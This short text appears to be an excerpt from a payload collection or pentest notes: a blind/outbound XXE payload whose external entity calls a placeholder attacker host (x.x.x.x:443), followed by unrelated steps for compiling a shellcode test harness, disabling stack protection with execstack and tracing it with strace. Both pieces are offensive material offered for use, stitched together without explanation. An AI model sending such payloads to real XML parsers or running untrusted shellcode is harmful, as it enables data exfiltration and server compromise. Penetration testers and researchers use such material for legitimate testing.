vilkoz

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

vilkoz

to run this:
1. Compile
  gcc shell_code_test.c -o shell_code_test
2. Mark binary as requiring executable stack (if you do not have execstack - sudo apt-get install prelink)
  execstack -s shell_code_test
3. Run with strace (to see syscalls)
  strace ./shell_code_test